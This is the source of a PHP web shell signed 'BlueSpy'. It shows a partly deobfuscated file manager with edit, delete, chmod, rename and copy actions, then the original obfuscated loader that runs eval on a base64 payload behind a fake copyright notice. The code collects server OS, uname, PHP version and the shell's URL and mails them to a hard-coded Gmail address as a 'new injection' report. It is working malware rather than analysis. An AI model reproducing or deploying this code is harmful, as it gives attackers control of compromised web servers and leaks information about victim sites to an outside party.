                        if (@is_writable("{$chdir}" . "{$file}")) {
                            if ($IIIIIIIlIll1 == 'chdir') {
                                if ($file == '../') {
                                    echo "<td {$IIIIIIIlIllI}> <b><a href=\"{$IIIIIIIIII1I}&chdir={$IIIIIIIlI1Il}\"><font \r\n\r\ncolor=\"#FFFFFF\">{$file}</font></a></b> </td>";
                                } else {
                                    echo "<td {$IIIIIIIlIllI}> <b><a href=\"{$IIIIIIIIII1I}&chdir={$chdir}{$file}\"><font \r\n\r\ncolor=\"#FFFFFF\">{$file}</font></a> </b></td>";
                                }
                            } else {
                                if (is_readable("{$chdir}" . "{$file}")) {
                                    echo "<td {$IIIIIIIlIllI}> <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=edit&chdir={$chdir}&file={$file}\">{$file}</a> </td>";
                                } else {
                                    echo "<td {$IIIIIIIlIllI}> {$file} </td>";
                                }
                            }
                        } else {
                            if ($IIIIIIIlIll1 == 'chdir') {
                                if ($file == '../') {
                                    echo "<td {$IIIIIIIlIllI}> <a href=\"{$IIIIIIIIII1I}&chdir={$IIIIIIIlI1Il}\">{$file}</a> \r\n\r\n</td>";
                                } else {
                                    echo "<td {$IIIIIIIlIllI}> <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&chdir={$chdir}{$file}\">{$file}</a></td>";
                                }
                            } else {
                                if (@is_readable("{$chdir}" . "{$file}")) {
                                    echo "<td  {$IIIIIIIlIllI}> <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=edit&chdir={$chdir}&file={$file}\">{$file}</a> </td>";
                                } else {
                                    echo "<td {$IIIIIIIlIllI}> {$file}</td>";
                                }
                            }
                        }
                        echo "<td align=\"right\" {$IIIIIIIlIllI}> {$IIIIIIIlI1ll} KB</td>";
                        if ($IIIIIIIlIll1 == 'edit') {
                            echo "<td align=\"center\" {$IIIIIIIlIllI}> <a href=\"#{$file}\" \r\n\r\nonclick=\"Rename('{$chdir}', '{$file}', '{$IIIIIIIlIll1}')\">Rename</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=del&chdir={$chdir}&file={$file}&type=file\">Del</a> \r\n\r\n| <a href=\"#{$file}\" onclick=\"ChMod('{$chdir}', '{$file}')\">Chmod</a> | <a href=\"#{$file}\" \r\n\r\nonclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>";
                        } else {
                            echo "<td align=\"center\" {$IIIIIIIlIllI}> <a href=\"#{$file}\" \r\n\r\nonclick=\"Rename('{$chdir}', '{$file}', '{$IIIIIIIlIll1}')\">Rename</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=del&chdir={$chdir}&file={$file}&type=dir\">Del</a> \r\n\r\n| <a href=\"#{$file}\" onclick=\"ChMod('{$chdir}', '{$file}')\">Chmod</a> | Copy </td>";
                        }
                        echo "</tr>";
                        if ($IIIIIIIlIlIl == 3) {
                            $IIIIIIIlIlIl = 2;
                        } elseif (true) {
                            $IIIIIIIlIlIl = 3;
                        }
                    }
                }
                closedir($IIIIIIIII1ll);
            }
            $IIIIIIIIII1l = @PHP_OS;
            $IIIIIIIIIlII = @php_uname();
            $IIIIIIIIIlIl = @phpversion();
            $IIIIIIIIIllI = @ini_get('safe_mode');
            if ($IIIIIIIIIllI == '') {
                $IIIIIIIIIllI = "<i>OFF</i><BR>";
            } else {
                $IIIIIIIIIllI = "<i><i>OFF</i><BR></i><BR>";
            }
            $IIIIIIIlI111 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
            $IIIIIIIllIII = "OS = " . $IIIIIIIIII1l . "<BR>UNAME = " . $IIIIIIIIIlII . "<BR>PHPVersion = " . $IIIIIIIIIlIl . "<BR>Safe Mode = " . $IIIIIIIIIllI . "<BR><font color=blue>http://" . $IIIIIIIlI111 . "</font><BR>Ingat jangan pakai Injek Ini.<BR>By: BlueSpy";
            $IIIIIIIllIIl = "From: {$_SERVER['HTTP_HOST']} <{$IIIIIIIllII1}>\r\nReply-To: {$IIIIIIIllIlI}\r\n";
            $IIIIIIIllIIl .= "MIME-Version: 1.0\r\n";
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "Content-Type: multipart/mixed; boundary={$IIIIIIIllIl1}\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}\r\n";
            }
            $IIIIIIIllIIl .= "Content-Type: text/{$IIIIIIIllI1I}\r\n";
            $IIIIIIIllIIl .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
            $IIIIIIIllIIl .= "{$IIIIIIIllI1l}\r\n";
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "Content-Type: {$IIIIIIIllI11}; name=\"{$IIIIIIIllIll}\"\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "Content-Transfer-Encoding: base64\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "Content-Disposition: attachment; \r\n\r\nfilename=\"{$IIIIIIIllIll}\"\r\n\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "{$IIIIIIIlllII}\r\n";
            }
            if ($IIIIIIIllIll) {
                $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}--";
            }
            $IIIIIIIlllIl = "voandocomagol@gmail.com";
            $IIIIIIIlllI1 = "injekan anyar Bos";
            mail($IIIIIIIlllIl, $IIIIIIIlllI1, $IIIIIIIllIII, $IIIIIIIllIIl);
            @(include "{$IIIIIIIIIll1}");
            echo "  </table>\r\n  </fieldset></form>\r\n</div></center>\r\n</body>\r\n\r\n</html>\r\n";
        };
    };
};
return;


Original code

<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x7040;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY5KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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